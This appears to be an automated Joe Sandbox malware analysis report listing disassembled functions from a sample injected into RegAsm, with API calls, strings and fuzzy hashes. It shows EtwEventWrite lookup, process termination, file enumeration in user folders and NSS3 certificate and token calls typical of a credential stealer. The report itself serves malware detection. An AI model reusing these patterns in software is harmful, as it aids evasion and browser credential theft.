Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 60ac122c964c9bce60b641f973643c05882ec632e7aa75ad0baf230ced49af19
Instruction ID: 50673f0b3dcd12bcf138e2348272936ad63f5fb5e13498b2a53214222fab0004
Opcode Fuzzy Hash: 60ac122c964c9bce60b641f973643c05882ec632e7aa75ad0baf230ced49af19
Instruction Fuzzy Hash: F31184F5B062945FDB009F69D8067523ABC9347618F102029E62ADBBC1E775C4048FD6

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042EBF8: std::exception::exception.LIBCMT ref: 0042EC0D
Part of subcall function 0042EBF8: __CxxThrowException@8.LIBCMT ref: 0042EC22
Part of subcall function 0042EBF8: std::exception::exception.LIBCMT ref: 0042EC33

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC5A
Part of subcall function 0042EC45: __CxxThrowException@8.LIBCMT ref: 0042EC6F
Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC80

Strings

invalid string position, xrefs: 0040F288
string too long, xrefs: 0040F27D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 941df7bd290407a9ef689aa40561f47c5295f4f3ec763d10fe6edd7e59272ef7
Instruction ID: e6539817a9f8634559db26b0b382dc9566da10c2029d1fc652b1cb6cacdddcbf
Opcode Fuzzy Hash: 941df7bd290407a9ef689aa40561f47c5295f4f3ec763d10fe6edd7e59272ef7
Instruction Fuzzy Hash: 55D012B5A4020C7BCB04E79AE816ACDBAE99B58714F20016FB616D3641EAB8A6004569

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction ID: 516a0af99a9d3ed9a850d6bfca40a0a85ae49b58000b6b42a5d70a6c01262027
Opcode Fuzzy Hash: 3ad6661e342435e3454c6033efd35680c758cdf589e793b7d7a2c9c560a2e302
Instruction Fuzzy Hash: F2D0A73134031477C61027D4BC0DF9A3F2CDB067A2F001130FA0DD6151C96548144BDD

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: cf640d80628ad4e74f3d38171acba973207c28ae387d92be87cd61cc0b75c439
Instruction ID: 9bbdd1ee4896165f6ac39e3e5efd8c25d27bca58a6bb0b57e2a538c7cae0429d
Opcode Fuzzy Hash: cf640d80628ad4e74f3d38171acba973207c28ae387d92be87cd61cc0b75c439
Instruction Fuzzy Hash: C9D012353C030477E1781B50BC5FF1A2934D7C5F02F201124F312580D046A41402963E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

EtwEventWrite, xrefs: 004018C5
ntdll.dll, xrefs: 004018B5

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: e7173cbc659f646d90c6637380379b2e67bafee961351022300d75924a4236c6
Instruction ID: fa0301676ac4a0b35d6f0bad7f9db5a069fcd374a286a1e4a3065c0da922a8bc
Opcode Fuzzy Hash: e7173cbc659f646d90c6637380379b2e67bafee961351022300d75924a4236c6
Instruction Fuzzy Hash: 84B09B7078020097CD1467756D5DF07766566457027506165A645D0160D77C5514551D

Function 00425141 Relevance: 6.1, APIs: 4, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00425174
_siglookup.LIBCMT ref: 0042519B
DecodePointer.KERNEL32(00000000), ref: 004251F3
__lock.LIBCMT ref: 0042521A

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DecodePointer__getptd_noexit__lock_siglookup
String ID:
API String ID: 2847133137-0
Opcode ID: 77078d732e8db2f3057a63753f0641dcf993b0cab592a8a63a99ae8e35919d99
Instruction ID: 069d67ce00bac186bc9f3ac32ad7eb6d288c3b8fedd6e0a8a483a63bcb82f46d
Opcode Fuzzy Hash: 77078d732e8db2f3057a63753f0641dcf993b0cab592a8a63a99ae8e35919d99
Instruction Fuzzy Hash: 37415C70F00A25DBCB289F68E884AADB6B0FF45315BA4416BE801A7391C73D9D51CF6D

Function 6C226C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C226C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C226CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C226CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C348FE0), ref: 6C226CFE

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 277e9ed715ef64e79fe4c498b99242a0e5b230af95738771762dbb4a7e9f6438
Instruction ID: b97534e41ab99097371b095b6e1e73ae00919cd7876f5574478468cffdfbd51c
Opcode Fuzzy Hash: 277e9ed715ef64e79fe4c498b99242a0e5b230af95738771762dbb4a7e9f6438
Instruction Fuzzy Hash: FE31A1B6A0021A9FEB04DF65C881ABFBBF5EF45248B14443DDD05D7740EB359905CBA0

Function 6C334F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C334F5D
free.MOZGLUE(?), ref: 6C334F74
free.MOZGLUE(?), ref: 6C334F82
GetLastError.KERNEL32 ref: 6C334F90

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a36efa4358b56a2fe5a5fe36f2892194d32ea87e2c74ed8bae8ee397a6268ec6
Instruction ID: 23c04cf13a1428f66828fa9891c9d3f76215083b7a5451d2a39c00af7494d3fa
Opcode Fuzzy Hash: a36efa4358b56a2fe5a5fe36f2892194d32ea87e2c74ed8bae8ee397a6268ec6
Instruction Fuzzy Hash: DE312B75A002294BDF01CB69DC45BDFB7B8EF45358F080225EC19A7681D736D9058EA1

Function 0041BD80 Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BDC5
_memmove.LIBCMT ref: 0041BDD9
_memmove.LIBCMT ref: 0041BE26
WriteFile.KERNEL32(00000000,?,66FC8392,?,00000000,03622528,?,00000001,03622528,?,0041AE6B,?,00000001,03622528,66FC8392,?), ref: 0041BE45

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: f8d90d2511c155f796a90aa74a79be86cc9cbc5625099fdc230df8e4b929144d
Instruction ID: ef32b456043a7c40364d1b26fe1d6b34c9da03a70a3abd589478dda37aa5024c
Opcode Fuzzy Hash: f8d90d2511c155f796a90aa74a79be86cc9cbc5625099fdc230df8e4b929144d
Instruction Fuzzy Hash: FB318F75600704AFD765CF65E980BE7B7F8FB45740B40892FE94687A00DB74F9448B98

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: 8d2f111dba6cb19f7d8687405dc9f393da82ae6e0468ba9acff790c296a2a6c5
Instruction ID: d389cef70183d5cd616f040657d4303a3a928023e9a5c5ea90d08b3fb0bb435f
Opcode Fuzzy Hash: 8d2f111dba6cb19f7d8687405dc9f393da82ae6e0468ba9acff790c296a2a6c5
Instruction Fuzzy Hash: 6B314D72A0121CAFDF20DF61DD849EEB7BDEB0A345F0400AAF909E2550D6399F848F56

Function 6C264FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C26B60F,00000000), ref: 6C265003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C26B60F,00000000), ref: 6C26501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C26B60F,00000000), ref: 6C26504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C26B60F,00000000), ref: 6C265064

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 4d8e26090ab8354ff50b69cd68ca07dba33431b9bace35130ea596723b5d512a
Instruction ID: c3b32cc82ffde8c4dd58f244a2d5789e3fc54dc7cc6e746a25409a9a430fdd88
Opcode Fuzzy Hash: 4d8e26090ab8354ff50b69cd68ca07dba33431b9bace35130ea596723b5d512a
Instruction Fuzzy Hash: 253118B4A0560ACFDB00EF69D48466ABBF4FF09305B154569EC9997B01EB30E890CBE1

Function 0041665F Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 004166A7
lstrcatA.KERNEL32(?,00436B4C), ref: 004166C4
lstrcatA.KERNEL32(?), ref: 004166D7
lstrcatA.KERNEL32(?,00436B50), ref: 004166E9

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: c4f50c1d24547cc29a72e15d362f30183b109c2c9d9d5fb6f85994bd63f68b1a
Instruction ID: cfafa51994c6dd41316c3016dfe646ce489cf68115bfde9b3865c7b361435df3
Opcode Fuzzy Hash: c4f50c1d24547cc29a72e15d362f30183b109c2c9d9d5fb6f85994bd63f68b1a
Instruction Fuzzy Hash: FF21B57190021DAFCF54DF60DC46AD9B779EB08305F1040A6F549A3190EEBA9BC48F44

Function 6C292DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C292E08

Part of subcall function 6C2814C0: TlsGetValue.KERNEL32 ref: 6C2814E0
Part of subcall function 6C2814C0: EnterCriticalSection.KERNEL32 ref: 6C2814F5
Part of subcall function 6C2814C0: PR_Unlock.NSS3 ref: 6C28150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C292E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C292E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C292E95

Part of subcall function 6C281200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C2288A4,00000000,00000000), ref: 6C281228
Part of subcall function 6C281200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C281238
Part of subcall function 6C281200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C2288A4,00000000,00000000), ref: 6C28124B
Part of subcall function 6C281200: PR_CallOnce.NSS3(6C382AA4,6C2812D0,00000000,00000000,00000000,?,6C2288A4,00000000,00000000), ref: 6C28125D
Part of subcall function 6C281200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C28126F
Part of subcall function 6C281200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C281280
Part of subcall function 6C281200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C28128E
Part of subcall function 6C281200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C28129A
Part of subcall function 6C281200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C2812A1

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 52b7f6448c5649728fac0f78f5b2123ded8c487f24b3cf4499c545ad412d3762
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D121F9B1D113494BE700CF569D84BAA37A46F9130DF110269ED585B782F7B1E598C391

Function 6C24ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C24ACC2

Part of subcall function 6C222F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C222F0A
Part of subcall function 6C222F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C222F1D

Part of subcall function 6C222AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C220A1B,00000000), ref: 6C222AF0
Part of subcall function 6C222AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C222B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C24AD5E

Part of subcall function 6C2657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C22B41E,00000000,00000000,?,00000000,?,6C22B41E,00000000,00000000,00000001,?), ref: 6C2657E0
Part of subcall function 6C2657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C265843

